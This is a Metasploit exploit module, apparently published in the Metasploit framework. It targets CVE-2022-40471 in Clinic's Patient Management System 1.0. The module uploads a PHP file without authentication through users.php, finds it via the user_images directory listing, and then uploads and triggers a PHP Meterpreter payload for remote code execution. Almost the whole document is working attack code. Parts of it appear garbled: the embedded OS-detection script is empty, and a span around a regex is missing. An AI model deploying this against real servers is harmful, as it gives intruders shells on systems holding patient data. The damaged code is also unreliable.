## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated file upload vulnerability in Clinic's Patient Management System 1.0. An attacker can upload a PHP web shell and execute it by leveraging directory listing enabled on the `/pms/user_images` directory. }, 'Author' => [ 'Aaryan Golatkar', # Metasploit Module Developer 'Oğulcan Hami Gül', # Vulnerability discovery ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false, 'Targets' => [ ['Clinic Patient Management System 1.0', {}] ], 'DefaultTarget' => 0, 'References' => [ ['EDB', '51779'], ['CVE', '2022-40471'], ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view'] ], 'DisclosureDate' => '2022-10-31', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]), OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false]) ]) end def check print_status('Checking if target is vulnerable...') # Step 1: Retrieve PHPSESSID vprint_status('Fetching PHPSESSID from the server...') res_session = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'GET' }) unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies) print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') return CheckCode::Unknown end phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) if phpsessid.nil? print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') return CheckCode::Unknown else phpsessid = phpsessid[1] vprint_good("Obtained PHPSESSID: #{phpsessid}") end # Step 2: Attempt File Upload dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png" dummy_content = Rex::Text.rand_text_alphanumeric(20) dummy_name = Rex::Text.rand_text_alphanumeric(6) post_data = Rex::MIME::Message.new post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"') post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"') post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"') post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"") post_data.add_part('', nil, nil, 'form-data; name="save_user"') vprint_status("Uploading dummy file #{dummy_filename}...") res_upload = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'cookie' => "PHPSESSID=#{phpsessid}" }) unless res_upload && res_upload.code == 302 print_error('File upload attempt failed. Target may not be vulnerable.') return CheckCode::Safe end vprint_good('Dummy file uploaded successfully.') # Step 3: Verify File in Directory Listing vprint_status('Verifying uploaded file in /pms/user_images...') res_listing = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user_images/'), 'method' => 'GET', 'cookie' => "PHPSESSID=#{phpsessid}" }) if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename) vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!") CheckCode::Vulnerable else vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.") CheckCode::Unknown end end def upload_shell random_user = Rex::Text.rand_text_alphanumeric(8) random_password = Rex::Text.rand_text_alphanumeric(12) detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s detection_filename = "#{detection_basename}.php" # Step 1: Detect the OS detection_script = <<~PHP PHP vprint_status("Uploading OS detection script as #{detection_filename}...") post_data = Rex::MIME::Message.new post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') post_data.add_part(random_password, nil, nil, 'form-data; name="password"') post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"") post_data.add_part('', nil, nil, 'form-data; name="save_user"') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302 vprint_good('OS detection script uploaded successfully!') # Step 2: Retrieve the actual uploaded filename vprint_status('Retrieving directory listing to identify detection script...') sleep datastore['LISTING_DELAY'] res_listing = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user_images/'), 'method' => 'GET' }) fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 match = res_listing.body&.match(/ detection_url, 'method' => 'GET' }) fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil? detected_os = res.body.strip.downcase vprint_status("Detected OS: #{detected_os}") # Step 4: Choose payload based on OS if detected_os.include?('win') payload_content = get_write_exec_payload print_status('Target is Windows. Using standard PHP Meterpreter payload.') else payload_content = get_write_exec_payload(unlink_self: true) print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.') end # Step 5: Upload the payload random_user = Rex::Text.rand_text_alphanumeric(8) random_password = Rex::Text.rand_text_alphanumeric(12) payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...") post_data = Rex::MIME::Message.new post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') post_data.add_part(random_password, nil, nil, 'form-data; name="password"') post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"") post_data.add_part('', nil, nil, 'form-data; name="save_user"') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s }) fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 print_good('Payload uploaded successfully!') # Verify the presence of the uploaded file in the directory listing vprint_status('Retrieving directory listing to confirm the uploaded payload...') sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server res_listing = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user_images/'), 'method' => 'GET' }) fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 # Search for the uploaded filename match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/) fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? actual_filename = match[1] vprint_good("Verified payload presence: #{actual_filename}") register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES'] actual_filename end def exploit # Upload the shell and retrieve its filename uploaded_filename = upload_shell # Construct the URL for the uploaded shell shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename) print_status("Executing the uploaded shell at #{shell_url}...") # Execute the uploaded shell send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) end end